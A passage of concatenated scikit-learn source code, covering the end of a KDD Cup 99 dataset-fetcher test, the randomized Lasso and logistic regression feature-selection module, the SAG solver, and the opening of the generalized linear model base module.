    assert_equal(data.target.shape, data_shuffled.target.shape)

    data = fetch_kddcup99('SA')
    assert_equal(data.data.shape, (100655, 41))
    assert_equal(data.target.shape, (100655,))

    data = fetch_kddcup99('SF')
    assert_equal(data.data.shape, (73237, 4))
    assert_equal(data.target.shape, (73237,))

    data = fetch_kddcup99('http')
    assert_equal(data.data.shape, (58725, 3))
    assert_equal(data.target.shape, (58725,))

    data = fetch_kddcup99('smtp')
    assert_equal(data.data.shape, (9571, 3))
    assert_equal(data.target.shape, (9571,))






"""
Randomized Lasso/Logistic: feature selection based on Lasso and
sparse Logistic Regression
"""

# Author: Gael Varoquaux, Alexandre Gramfort
#
# License: BSD 3 clause
import itertools
from abc import ABCMeta, abstractmethod
import warnings

import numpy as np
from scipy.sparse import issparse
from scipy import sparse
from scipy.interpolate import interp1d

from .base import _preprocess_data
from ..base import BaseEstimator, TransformerMixin
from ..externals import six
from ..externals.joblib import Memory, Parallel, delayed
from ..utils import (as_float_array, check_random_state, check_X_y,
                     check_array, safe_mask)
from ..utils.validation import check_is_fitted
from .least_angle import lars_path, LassoLarsIC
from .logistic import LogisticRegression
from ..exceptions import ConvergenceWarning


###############################################################################
# Randomized linear model: feature selection

def _resample_model(estimator_func, X, y, scaling=.5, n_resampling=200,
                    n_jobs=1, verbose=False, pre_dispatch='3*n_jobs',
                    random_state=None, sample_fraction=.75, **params):
    random_state = check_random_state(random_state)
    # We are generating 1 - weights, and not weights
    n_samples, n_features = X.shape

    if not (0 < scaling < 1):
        raise ValueError(
            "'scaling' should be between 0 and 1. Got %r instead." % scaling)

    scaling = 1. - scaling
    scores_ = 0.0
    for active_set in Parallel(n_jobs=n_jobs, verbose=verbose,
                               pre_dispatch=pre_dispatch)(
            delayed(estimator_func)(
                X, y, weights=scaling * random_state.randint(
                    0, 2, size=(n_features,)),
                mask=(random_state.rand(n_samples) < sample_fraction),
                verbose=max(0, verbose - 1),
                **params)
            for _ in range(n_resampling)):
        scores_ += active_set

    scores_ /= n_resampling
    return scores_


class BaseRandomizedLinearModel(six.with_metaclass(ABCMeta, BaseEstimator,
                                                   TransformerMixin)):
    """Base class to implement randomized linear models for feature selection

    This implements the strategy by Meinshausen and Buhlman:
    stability selection with randomized sampling, and random re-weighting of
    the penalty.
    """

    @abstractmethod
    def __init__(self):
        pass

    _preprocess_data = staticmethod(_preprocess_data)

    def fit(self, X, y):
        """Fit the model using X, y as training data.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training data.

        y : array-like, shape = [n_samples]
            Target values.

        Returns
        -------
        self : object
            Returns an instance of self.
        """
        X, y = check_X_y(X, y, ['csr', 'csc'], y_numeric=True,
                         ensure_min_samples=2, estimator=self)
        X = as_float_array(X, copy=False)
        n_samples, n_features = X.shape

        X, y, X_offset, y_offset, X_scale = \
            self._preprocess_data(X, y, self.fit_intercept, self.normalize)

        estimator_func, params = self._make_estimator_and_params(X, y)
        memory = self.memory
        if isinstance(memory, six.string_types):
            memory = Memory(cachedir=memory)

        scores_ = memory.cache(
            _resample_model, ignore=['verbose', 'n_jobs', 'pre_dispatch']
        )(
            estimator_func, X, y,
            scaling=self.scaling, n_resampling=self.n_resampling,
            n_jobs=self.n_jobs, verbose=self.verbose,
            pre_dispatch=self.pre_dispatch, random_state=self.random_state,
            sample_fraction=self.sample_fraction, **params)

        if scores_.ndim == 1:
            scores_ = scores_[:, np.newaxis]
        self.all_scores_ = scores_
        self.scores_ = np.max(self.all_scores_, axis=1)
        return self

    def _make_estimator_and_params(self, X, y):
        """Return the parameters passed to the estimator"""
        raise NotImplementedError

    def get_support(self, indices=False):
        """Return a mask, or list, of the features/indices selected."""
        check_is_fitted(self, 'scores_')

        mask = self.scores_ > self.selection_threshold
        return mask if not indices else np.where(mask)[0]

    # XXX: the two function below are copy/pasted from feature_selection,
    # Should we add an intermediate base class?
    def transform(self, X):
        """Transform a new matrix using the selected features"""
        mask = self.get_support()
        X = check_array(X)
        if len(mask) != X.shape[1]:
            raise ValueError("X has a different shape than during fitting.")
        return check_array(X)[:, safe_mask(X, mask)]

    def inverse_transform(self, X):
        """Transform a new matrix using the selected features"""
        support = self.get_support()
        if X.ndim == 1:
            X = X[None, :]
        Xt = np.zeros((X.shape[0], support.size))
        Xt[:, support] = X
        return Xt


###############################################################################
# Randomized lasso: regression settings

def _randomized_lasso(X, y, weights, mask, alpha=1., verbose=False,
                      precompute=False, eps=np.finfo(np.float).eps,
                      max_iter=500):
    X = X[safe_mask(X, mask)]
    y = y[mask]

    # Center X and y to avoid fit the intercept
    X -= X.mean(axis=0)
    y -= y.mean()

    alpha = np.atleast_1d(np.asarray(alpha, dtype=np.float64))

    X = (1 - weights) * X
    with warnings.catch_warnings():
        warnings.simplefilter('ignore', ConvergenceWarning)
        alphas_, _, coef_ = lars_path(X, y,
                                      Gram=precompute, copy_X=False,
                                      copy_Gram=False, alpha_min=np.min(alpha),
                                      method='lasso', verbose=verbose,
                                      max_iter=max_iter, eps=eps)

    if len(alpha) > 1:
        if len(alphas_) > 1:  # np.min(alpha) < alpha_min
            interpolator = interp1d(alphas_[::-1], coef_[:, ::-1],
                                    bounds_error=False, fill_value=0.)
            scores = (interpolator(alpha) != 0.0)
        else:
            scores = np.zeros((X.shape[1], len(alpha)), dtype=np.bool)
    else:
        scores = coef_[:, -1] != 0.0
    return scores


class RandomizedLasso(BaseRandomizedLinearModel):
    """Randomized Lasso.

    Randomized Lasso works by subsampling the training data and
    computing a Lasso estimate where the penalty of a random subset of
    coefficients has been scaled. By performing this double
    randomization several times, the method assigns high scores to
    features that are repeatedly selected across randomizations. This
    is known as stability selection. In short, features selected more
    often are considered good features.

    Read more in the :ref:`User Guide <randomized_l1>`.

    Parameters
    ----------
    alpha : float, 'aic', or 'bic', optional
        The regularization parameter alpha parameter in the Lasso.
        Warning: this is not the alpha parameter in the stability selection
        article which is scaling.

    scaling : float, optional
        The s parameter used to randomly scale the penalty of different
        features (See :ref:`User Guide <randomized_l1>` for details ).
        Should be between 0 and 1.

    sample_fraction : float, optional
        The fraction of samples to be used in each randomized design.
        Should be between 0 and 1. If 1, all samples are used.

    n_resampling : int, optional
        Number of randomized models.

    selection_threshold: float, optional
        The score above which features should be selected.

    fit_intercept : boolean, optional
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    verbose : boolean or integer, optional
        Sets the verbosity amount

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learned more robust and almost independent of
        the number of samples. The same property is not valid for
        standardized data. However, if you wish to standardize, please
        use `preprocessing.StandardScaler` before calling `fit` on an
        estimator with `normalize=False`.

    precompute : True | False | 'auto'
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to 'auto' let us decide. The Gram
        matrix can also be passed as argument.

    max_iter : integer, optional
        Maximum number of iterations to perform in the Lars algorithm.

    eps : float, optional
        The machine-precision regularization in the computation of the
        Cholesky diagonal factors. Increase this for very ill-conditioned
        systems. Unlike the 'tol' parameter in some iterative
        optimization-based algorithms, this parameter does not control
        the tolerance of the optimization.

    n_jobs : integer, optional
        Number of CPUs to use during the resampling. If '-1', use
        all the CPUs

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    pre_dispatch : int, or string, optional
        Controls the number of jobs that get dispatched during parallel
        execution. Reducing this number can be useful to avoid an
        explosion of memory consumption when more jobs get dispatched
        than CPUs can process. This parameter can be:

            - None, in which case all the jobs are immediately
              created and spawned. Use this for lightweight and
              fast-running jobs, to avoid delays due to on-demand
              spawning of the jobs

            - An int, giving the exact number of total jobs that are
              spawned

            - A string, giving an expression as a function of n_jobs,
              as in '2*n_jobs'

    memory : Instance of joblib.Memory or string
        Used for internal caching. By default, no caching is done.
        If a string is given, it is the path to the caching directory.

    Attributes
    ----------
    scores_ : array, shape = [n_features]
        Feature scores between 0 and 1.

    all_scores_ : array, shape = [n_features, n_reg_parameter]
        Feature scores between 0 and 1 for all values of the regularization \
        parameter. The reference article suggests ``scores_`` is the max of \
        ``all_scores_``.

    Examples
    --------
    >>> from sklearn.linear_model import RandomizedLasso
    >>> randomized_lasso = RandomizedLasso()

    Notes
    -----
    See examples/linear_model/plot_sparse_recovery.py for an example.

    References
    ----------
    Stability selection
    Nicolai Meinshausen, Peter Buhlmann
    Journal of the Royal Statistical Society: Series B
    Volume 72, Issue 4, pages 417-473, September 2010
    DOI: 10.1111/j.1467-9868.2010.00740.x

    See also
    --------
    RandomizedLogisticRegression, Lasso, ElasticNet
    """
    def __init__(self, alpha='aic', scaling=.5, sample_fraction=.75,
                 n_resampling=200, selection_threshold=.25,
                 fit_intercept=True, verbose=False,
                 normalize=True, precompute='auto',
                 max_iter=500,
                 eps=np.finfo(np.float).eps, random_state=None,
                 n_jobs=1, pre_dispatch='3*n_jobs',
                 memory=Memory(cachedir=None, verbose=0)):
        self.alpha = alpha
        self.scaling = scaling
        self.sample_fraction = sample_fraction
        self.n_resampling = n_resampling
        self.fit_intercept = fit_intercept
        self.max_iter = max_iter
        self.verbose = verbose
        self.normalize = normalize
        self.precompute = precompute
        self.eps = eps
        self.random_state = random_state
        self.n_jobs = n_jobs
        self.selection_threshold = selection_threshold
        self.pre_dispatch = pre_dispatch
        self.memory = memory

    def _make_estimator_and_params(self, X, y):
        assert self.precompute in (True, False, None, 'auto')
        alpha = self.alpha
        if isinstance(alpha, six.string_types) and alpha in ('aic', 'bic'):
            model = LassoLarsIC(precompute=self.precompute,
                                criterion=self.alpha,
                                max_iter=self.max_iter,
                                eps=self.eps)
            model.fit(X, y)
            self.alpha_ = alpha = model.alpha_
        return _randomized_lasso, dict(alpha=alpha, max_iter=self.max_iter,
                                       eps=self.eps,
                                       precompute=self.precompute)


###############################################################################
# Randomized logistic: classification settings

def _randomized_logistic(X, y, weights, mask, C=1., verbose=False,
                         fit_intercept=True, tol=1e-3):
    X = X[safe_mask(X, mask)]
    y = y[mask]
    if issparse(X):
        size = len(weights)
        weight_dia = sparse.dia_matrix((1 - weights, 0), (size, size))
        X = X * weight_dia
    else:
        X *= (1 - weights)

    C = np.atleast_1d(np.asarray(C, dtype=np.float64))
    scores = np.zeros((X.shape[1], len(C)), dtype=np.bool)

    for this_C, this_scores in zip(C, scores.T):
        # XXX : would be great to do it with a warm_start ...
        clf = LogisticRegression(C=this_C, tol=tol, penalty='l1', dual=False,
                                 fit_intercept=fit_intercept)
        clf.fit(X, y)
        this_scores[:] = np.any(
            np.abs(clf.coef_) > 10 * np.finfo(np.float).eps, axis=0)
    return scores


class RandomizedLogisticRegression(BaseRandomizedLinearModel):
    """Randomized Logistic Regression

    Randomized Logistic Regression works by subsampling the training
    data and fitting a L1-penalized LogisticRegression model where the
    penalty of a random subset of coefficients has been scaled. By
    performing this double randomization several times, the method
    assigns high scores to features that are repeatedly selected across
    randomizations. This is known as stability selection. In short,
    features selected more often are considered good features.

    Read more in the :ref:`User Guide <randomized_l1>`.

    Parameters
    ----------
    C : float, optional, default=1
        The regularization parameter C in the LogisticRegression.

    scaling : float, optional, default=0.5
        The s parameter used to randomly scale the penalty of different
        features (See :ref:`User Guide <randomized_l1>` for details ).
        Should be between 0 and 1.

    sample_fraction : float, optional, default=0.75
        The fraction of samples to be used in each randomized design.
        Should be between 0 and 1. If 1, all samples are used.

    n_resampling : int, optional, default=200
        Number of randomized models.

    selection_threshold : float, optional, default=0.25
        The score above which features should be selected.

    fit_intercept : boolean, optional, default=True
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    verbose : boolean or integer, optional
        Sets the verbosity amount

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    tol : float, optional, default=1e-3
         tolerance for stopping criteria of LogisticRegression

    n_jobs : integer, optional
        Number of CPUs to use during the resampling. If '-1', use
        all the CPUs

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    pre_dispatch : int, or string, optional
        Controls the number of jobs that get dispatched during parallel
        execution. Reducing this number can be useful to avoid an
        explosion of memory consumption when more jobs get dispatched
        than CPUs can process. This parameter can be:

            - None, in which case all the jobs are immediately
              created and spawned. Use this for lightweight and
              fast-running jobs, to avoid delays due to on-demand
              spawning of the jobs

            - An int, giving the exact number of total jobs that are
              spawned

            - A string, giving an expression as a function of n_jobs,
              as in '2*n_jobs'

    memory : Instance of joblib.Memory or string
        Used for internal caching. By default, no caching is done.
        If a string is given, it is the path to the caching directory.

    Attributes
    ----------
    scores_ : array, shape = [n_features]
        Feature scores between 0 and 1.

    all_scores_ : array, shape = [n_features, n_reg_parameter]
        Feature scores between 0 and 1 for all values of the regularization \
        parameter. The reference article suggests ``scores_`` is the max \
        of ``all_scores_``.

    Examples
    --------
    >>> from sklearn.linear_model import RandomizedLogisticRegression
    >>> randomized_logistic = RandomizedLogisticRegression()

    Notes
    -----
    See examples/linear_model/plot_sparse_recovery.py for an example.

    References
    ----------
    Stability selection
    Nicolai Meinshausen, Peter Buhlmann
    Journal of the Royal Statistical Society: Series B
    Volume 72, Issue 4, pages 417-473, September 2010
    DOI: 10.1111/j.1467-9868.2010.00740.x

    See also
    --------
    RandomizedLasso, LogisticRegression
    """
    def __init__(self, C=1, scaling=.5, sample_fraction=.75,
                 n_resampling=200,
                 selection_threshold=.25, tol=1e-3,
                 fit_intercept=True, verbose=False,
                 normalize=True,
                 random_state=None,
                 n_jobs=1, pre_dispatch='3*n_jobs',
                 memory=Memory(cachedir=None, verbose=0)):
        self.C = C
        self.scaling = scaling
        self.sample_fraction = sample_fraction
        self.n_resampling = n_resampling
        self.fit_intercept = fit_intercept
        self.verbose = verbose
        self.normalize = normalize
        self.tol = tol
        self.random_state = random_state
        self.n_jobs = n_jobs
        self.selection_threshold = selection_threshold
        self.pre_dispatch = pre_dispatch
        self.memory = memory

    def _make_estimator_and_params(self, X, y):
        params = dict(C=self.C, tol=self.tol,
                      fit_intercept=self.fit_intercept)
        return _randomized_logistic, params

    def _preprocess_data(self, X, y, fit_intercept, normalize=False):
        """Center the data in X but not in y"""
        X, _, X_offset, _, X_scale = _preprocess_data(X, y, fit_intercept,
                                                      normalize=normalize)
        return X, y, X_offset, y, X_scale


###############################################################################
# Stability paths
def _lasso_stability_path(X, y, mask, weights, eps):
    "Inner loop of lasso_stability_path"
    X = X * weights[np.newaxis, :]
    X = X[safe_mask(X, mask), :]
    y = y[mask]

    alpha_max = np.max(np.abs(np.dot(X.T, y))) / X.shape[0]
    alpha_min = eps * alpha_max  # set for early stopping in path
    with warnings.catch_warnings():
        warnings.simplefilter('ignore', ConvergenceWarning)
        alphas, _, coefs = lars_path(X, y, method='lasso', verbose=False,
                                     alpha_min=alpha_min)
    # Scale alpha by alpha_max
    alphas /= alphas[0]
    # Sort alphas in ascending order
    alphas = alphas[::-1]
    coefs = coefs[:, ::-1]
    # Get rid of the alphas that are too small
    mask = alphas >= eps
    # We also want to keep the first one: it should be close to the OLS
    # solution
    mask[0] = True
    alphas = alphas[mask]
    coefs = coefs[:, mask]
    return alphas, coefs


def lasso_stability_path(X, y, scaling=0.5, random_state=None,
                         n_resampling=200, n_grid=100,
                         sample_fraction=0.75,
                         eps=4 * np.finfo(np.float).eps, n_jobs=1,
                         verbose=False):
    """Stability path based on randomized Lasso estimates

    Read more in the :ref:`User Guide <randomized_l1>`.

    Parameters
    ----------
    X : array-like, shape = [n_samples, n_features]
        training data.

    y : array-like, shape = [n_samples]
        target values.

    scaling : float, optional, default=0.5
        The alpha parameter in the stability selection article used to
        randomly scale the features. Should be between 0 and 1.

    random_state : integer or numpy.random.RandomState, optional
        The generator used to randomize the design.

    n_resampling : int, optional, default=200
        Number of randomized models.

    n_grid : int, optional, default=100
        Number of grid points. The path is linearly reinterpolated
        on a grid between 0 and 1 before computing the scores.

    sample_fraction : float, optional, default=0.75
        The fraction of samples to be used in each randomized design.
        Should be between 0 and 1. If 1, all samples are used.

    eps : float, optional
        Smallest value of alpha / alpha_max considered

    n_jobs : integer, optional
        Number of CPUs to use during the resampling. If '-1', use
        all the CPUs

    verbose : boolean or integer, optional
        Sets the verbosity amount

    Returns
    -------
    alphas_grid : array, shape ~ [n_grid]
        The grid points between 0 and 1: alpha/alpha_max

    scores_path : array, shape = [n_features, n_grid]
        The scores for each feature along the path.

    Notes
    -----
    See examples/linear_model/plot_sparse_recovery.py for an example.
    """
    rng = check_random_state(random_state)

    if not (0 < scaling < 1):
        raise ValueError("Parameter 'scaling' should be between 0 and 1."
                         " Got %r instead." % scaling)

    n_samples, n_features = X.shape

    paths = Parallel(n_jobs=n_jobs, verbose=verbose)(
        delayed(_lasso_stability_path)(
            X, y, mask=rng.rand(n_samples) < sample_fraction,
            weights=1. - scaling * rng.randint(0, 2, size=(n_features,)),
            eps=eps)
        for k in range(n_resampling))

    all_alphas = sorted(list(set(itertools.chain(*[p[0] for p in paths]))))
    # Take approximately n_grid values
    stride = int(max(1, int(len(all_alphas) / float(n_grid))))
    all_alphas = all_alphas[::stride]
    if not all_alphas[-1] == 1:
        all_alphas.append(1.)
    all_alphas = np.array(all_alphas)
    scores_path = np.zeros((n_features, len(all_alphas)))

    for alphas, coefs in paths:
        if alphas[0] != 0:
            alphas = np.r_[0, alphas]
            coefs = np.c_[np.ones((n_features, 1)), coefs]
        if alphas[-1] != all_alphas[-1]:
            alphas = np.r_[alphas, all_alphas[-1]]
            coefs = np.c_[coefs, np.zeros((n_features, 1))]
        scores_path += (interp1d(alphas, coefs,
                        kind='nearest', bounds_error=False,
                        fill_value=0, axis=-1)(all_alphas) != 0)

    scores_path /= n_resampling
    return all_alphas, scores_path






"""Solvers for Ridge and LogisticRegression using SAG algorithm"""

# Authors: Tom Dupre la Tour <tom.dupre-la-tour@m4x.org>
#
# License: BSD 3 clause

import numpy as np
import warnings

from ..exceptions import ConvergenceWarning
from ..utils import check_array
from ..utils.extmath import row_norms
from .base import make_dataset
from .sag_fast import sag


def get_auto_step_size(max_squared_sum, alpha_scaled, loss, fit_intercept):
    """Compute automatic step size for SAG solver

    The step size is set to 1 / (alpha_scaled + L + fit_intercept) where L is
    the max sum of squares for over all samples.

    Parameters
    ----------
    max_squared_sum : float
        Maximum squared sum of X over samples.

    alpha_scaled : float
        Constant that multiplies the regularization term, scaled by
        1. / n_samples, the number of samples.

    loss : string, in {"log", "squared"}
        The loss function used in SAG solver.

    fit_intercept : bool
        Specifies if a constant (a.k.a. bias or intercept) will be
        added to the decision function.

    Returns
    -------
    step_size : float
        Step size used in SAG solver.

    References
    ----------
    Schmidt, M., Roux, N. L., & Bach, F. (2013).
    Minimizing finite sums with the stochastic average gradient
    https://hal.inria.fr/hal-00860051/PDF/sag_journal.pdf
    """
    if loss in ('log', 'multinomial'):
        # inverse Lipschitz constant for log loss
        return 4.0 / (max_squared_sum + int(fit_intercept)
                      + 4.0 * alpha_scaled)
    elif loss == 'squared':
        # inverse Lipschitz constant for squared loss
        return 1.0 / (max_squared_sum + int(fit_intercept) + alpha_scaled)
    else:
        raise ValueError("Unknown loss function for SAG solver, got %s "
                         "instead of 'log' or 'squared'" % loss)


def sag_solver(X, y, sample_weight=None, loss='log', alpha=1.,
               max_iter=1000, tol=0.001, verbose=0, random_state=None,
               check_input=True, max_squared_sum=None,
               warm_start_mem=None):
    """SAG solver for Ridge and LogisticRegression

    SAG stands for Stochastic Average Gradient: the gradient of the loss is
    estimated each sample at a time and the model is updated along the way with
    a constant learning rate.

    IMPORTANT NOTE: 'sag' solver converges faster on columns that are on the
    same scale. You can normalize the data by using
    sklearn.preprocessing.StandardScaler on your data before passing it to the
    fit method.

    This implementation works with data represented as dense numpy arrays or
    sparse scipy arrays of floating point values for the features. It will
    fit the data according to squared loss or log loss.

    The regularizer is a penalty added to the loss function that shrinks model
    parameters towards the zero vector using the squared euclidean norm L2.

    .. versionadded:: 0.17

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data

    y : numpy array, shape (n_samples,)
        Target values. With loss='multinomial', y must be label encoded
        (see preprocessing.LabelEncoder).

    sample_weight : array-like, shape (n_samples,), optional
        Weights applied to individual samples (1. for unweighted).

    loss : 'log' | 'squared' | 'multinomial'
        Loss function that will be optimized:
        -'log' is the binary logistic loss, as used in LogisticRegression.
        -'squared' is the squared loss, as used in Ridge.
        -'multinomial' is the multinomial logistic loss, as used in
         LogisticRegression.

        .. versionadded:: 0.18
           *loss='multinomial'*

    alpha : float, optional
        Constant that multiplies the regularization term. Defaults to 1.

    max_iter: int, optional
        The max number of passes over the training data if the stopping
        criteria is not reached. Defaults to 1000.

    tol: double, optional
        The stopping criteria for the weights. The iterations will stop when
        max(change in weights) / max(weights) < tol. Defaults to .001

    verbose: integer, optional
        The verbosity level.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data.

    check_input : bool, default True
        If False, the input arrays X and y will not be checked.

    max_squared_sum : float, default None
        Maximum squared sum of X over samples. If None, it will be computed,
        going through all the samples. The value should be precomputed
        to speed up cross validation.

    warm_start_mem: dict, optional
        The initialization parameters used for warm starting. Warm starting is
        currently used in LogisticRegression but not in Ridge.
        It contains:
            - 'coef': the weight vector, with the intercept in last line
                if the intercept is fitted.
            - 'gradient_memory': the scalar gradient for all seen samples.
            - 'sum_gradient': the sum of gradient over all seen samples,
                for each feature.
            - 'intercept_sum_gradient': the sum of gradient over all seen
                samples, for the intercept.
            - 'seen': array of boolean describing the seen samples.
            - 'num_seen': the number of seen samples.

    Returns
    -------
    coef_ : array, shape (n_features)
        Weight vector.

    n_iter_ : int
        The number of full pass on all samples.

    warm_start_mem : dict
        Contains a 'coef' key with the fitted result, and possibly the
        fitted intercept at the end of the array. Contains also other keys
        used for warm starting.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn import linear_model
    >>> n_samples, n_features = 10, 5
    >>> np.random.seed(0)
    >>> X = np.random.randn(n_samples, n_features)
    >>> y = np.random.randn(n_samples)
    >>> clf = linear_model.Ridge(solver='sag')
    >>> clf.fit(X, y)
    ... #doctest: +NORMALIZE_WHITESPACE
    Ridge(alpha=1.0, copy_X=True, fit_intercept=True, max_iter=None,
          normalize=False, random_state=None, solver='sag', tol=0.001)

    >>> X = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]])
    >>> y = np.array([1, 1, 2, 2])
    >>> clf = linear_model.LogisticRegression(solver='sag')
    >>> clf.fit(X, y)
    ... #doctest: +NORMALIZE_WHITESPACE
    LogisticRegression(C=1.0, class_weight=None, dual=False,
        fit_intercept=True, intercept_scaling=1, max_iter=100,
        multi_class='ovr', n_jobs=1, penalty='l2', random_state=None,
        solver='sag', tol=0.0001, verbose=0, warm_start=False)

    References
    ----------
    Schmidt, M., Roux, N. L., & Bach, F. (2013).
    Minimizing finite sums with the stochastic average gradient
    https://hal.inria.fr/hal-00860051/PDF/sag_journal.pdf

    See also
    --------
    Ridge, SGDRegressor, ElasticNet, Lasso, SVR, and
    LogisticRegression, SGDClassifier, LinearSVC, Perceptron
    """
    if warm_start_mem is None:
        warm_start_mem = {}
    # Ridge default max_iter is None
    if max_iter is None:
        max_iter = 1000

    if check_input:
        X = check_array(X, dtype=np.float64, accept_sparse='csr', order='C')
        y = check_array(y, dtype=np.float64, ensure_2d=False, order='C')

    n_samples, n_features = X.shape[0], X.shape[1]
    # As in SGD, the alpha is scaled by n_samples.
    alpha_scaled = float(alpha) / n_samples

    # if loss == 'multinomial', y should be label encoded.
    n_classes = int(y.max()) + 1 if loss == 'multinomial' else 1

    # initialization
    if sample_weight is None:
        sample_weight = np.ones(n_samples, dtype=np.float64, order='C')

    if 'coef' in warm_start_mem.keys():
        coef_init = warm_start_mem['coef']
    else:
        # assume fit_intercept is False
        coef_init = np.zeros((n_features, n_classes), dtype=np.float64,
                             order='C')

    # coef_init contains possibly the intercept_init at the end.
    # Note that Ridge centers the data before fitting, so fit_intercept=False.
    fit_intercept = coef_init.shape[0] == (n_features + 1)
    if fit_intercept:
        intercept_init = coef_init[-1, :]
        coef_init = coef_init[:-1, :]
    else:
        intercept_init = np.zeros(n_classes, dtype=np.float64)

    if 'intercept_sum_gradient' in warm_start_mem.keys():
        intercept_sum_gradient = warm_start_mem['intercept_sum_gradient']
    else:
        intercept_sum_gradient = np.zeros(n_classes, dtype=np.float64)

    if 'gradient_memory' in warm_start_mem.keys():
        gradient_memory_init = warm_start_mem['gradient_memory']
    else:
        gradient_memory_init = np.zeros((n_samples, n_classes),
                                        dtype=np.float64, order='C')
    if 'sum_gradient' in warm_start_mem.keys():
        sum_gradient_init = warm_start_mem['sum_gradient']
    else:
        sum_gradient_init = np.zeros((n_features, n_classes),
                                     dtype=np.float64, order='C')

    if 'seen' in warm_start_mem.keys():
        seen_init = warm_start_mem['seen']
    else:
        seen_init = np.zeros(n_samples, dtype=np.int32, order='C')

    if 'num_seen' in warm_start_mem.keys():
        num_seen_init = warm_start_mem['num_seen']
    else:
        num_seen_init = 0

    dataset, intercept_decay = make_dataset(X, y, sample_weight, random_state)

    if max_squared_sum is None:
        max_squared_sum = row_norms(X, squared=True).max()
    step_size = get_auto_step_size(max_squared_sum, alpha_scaled, loss,
                                   fit_intercept)

    if step_size * alpha_scaled == 1:
        raise ZeroDivisionError("Current sag implementation does not handle "
                                "the case step_size * alpha_scaled == 1")

    num_seen, n_iter_ = sag(dataset, coef_init,
                            intercept_init, n_samples,
                            n_features, n_classes, tol,
                            max_iter,
                            loss,
                            step_size, alpha_scaled,
                            sum_gradient_init,
                            gradient_memory_init,
                            seen_init,
                            num_seen_init,
                            fit_intercept,
                            intercept_sum_gradient,
                            intercept_decay,
                            verbose)
    if n_iter_ == max_iter:
        warnings.warn("The max_iter was reached which means "
                      "the coef_ did not converge", ConvergenceWarning)

    if fit_intercept:
        coef_init = np.vstack((coef_init, intercept_init))

    warm_start_mem = {'coef': coef_init, 'sum_gradient': sum_gradient_init,
                      'intercept_sum_gradient': intercept_sum_gradient,
                      'gradient_memory': gradient_memory_init,
                      'seen': seen_init, 'num_seen': num_seen}

    if loss == 'multinomial':
        coef_ = coef_init.T
    else:
        coef_ = coef_init[:, 0]

    return coef_, n_iter_, warm_start_mem






"""
Generalized Linear models.
"""

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
# Fabian Pedregosa <fabian.pedregosa@inria.fr>
# Olivier Grisel <olivier.grisel@ensta.org>
#         Vincent Michel <vincent.michel@inria.fr>
#         Peter Prettenhofer <peter.prettenhofer@gmail.com>
#         Mathieu Blondel <mathieu@mblondel.org>
#         Lars Buitinck
#         Maryan Morel <maryan.morel@polytechnique.edu>
#         Giorgio Patrini <giorgio.patrini@anu.edu.au>
# License: BSD 3 clause

from __future__ import division
from abc import ABCMeta, abstractmethod
import numbers
import warnings

import numpy as np
import scipy.sparse as sp
from scipy import linalg
from scipy import sparse

from ..externals import six
from ..externals.joblib import Parallel, delayed
from ..base import BaseEstimator, ClassifierMixin, RegressorMixin
from ..utils import check_array, check_X_y, deprecated, as_float_array
from ..utils.validation import FLOAT_DTYPES
from ..utils import check_random_state
from ..utils.extmath import safe_sparse_dot
from ..utils.sparsefuncs import mean_variance_axis, inplace_column_scale
from ..utils.fixes import sparse_lsqr
from ..utils.seq_dataset import ArrayDataset, CSRDataset
from ..utils.validation import check_is_fitted
from ..exceptions import NotFittedError
from ..preprocessing.data import normalize as f_normalize

# TODO: bayesian_ridge_regression and bayesian_regression_ard
# should be squashed into its respective objects.

SPARSE_INTERCEPT_DECAY = 0.01
# For sparse data intercept updates are scaled by this decay factor to avoid
# intercept oscillation.


def make_dataset(X, y, sample_weight, random_state=None):
    """Create ``Dataset`` abstraction for sparse and dense inputs.

    This also returns the ``intercept_decay`` which is different
    for sparse datasets.
    """

    rng = check_random_state(random_state)
    # seed should never be 0 in SequentialDataset
    seed = rng.randint(1, np.iinfo(np.int32).max)

    if sp.issparse(X):
        dataset = CSRDataset(X.data, X.indptr, X.indices, y, sample_weight,
                             seed=seed)
        intercept_decay = SPARSE_INTERCEPT_DECAY
    else:
        dataset = ArrayDataset(X, y, sample_weight, seed=seed)
        intercept_decay = 1.0

    return dataset, intercept_decay


@deprecated("sparse_center_data was deprecated in version 0.18 and will be "
            "removed in 0.20. Use utilities in preprocessing.data instead")
def sparse_center_data(X, y, fit_intercept, normalize=False):
    """
    Compute information needed to center data to have mean zero along
    axis 0. Be aware that X will not be centered since it would break
    the sparsity, but will be normalized if asked so.
    """
    if fit_intercept:
        # we might require not to change the csr matrix sometimes
        # store a copy if normalize is True.
        # Change dtype to float64 since mean_variance_axis accepts
        # it that way.
        if sp.isspmatrix(X) and X.getformat() == 'csr':
            X = sp.csr_matrix(X, copy=normalize, dtype=np.float64)
        else:
            X = sp.csc_matrix(X, copy=normalize, dtype=np.float64)

        X_offset, X_var = mean_variance_axis(X, axis=0)
        if normalize:
            # transform variance to std in-place
            X_var *= X.shape[0]
            X_std = np.sqrt(X_var, X_var)
            del X_var
            X_std[X_std == 0] = 1
            inplace_column_scale(X, 1. / X_std)
        else:
            X_std = np.ones(X.shape[1])
        y_offset = y.mean(axis=0)
        y = y - y_offset
    else:
        X_offset = np.zeros(X.shape[1])
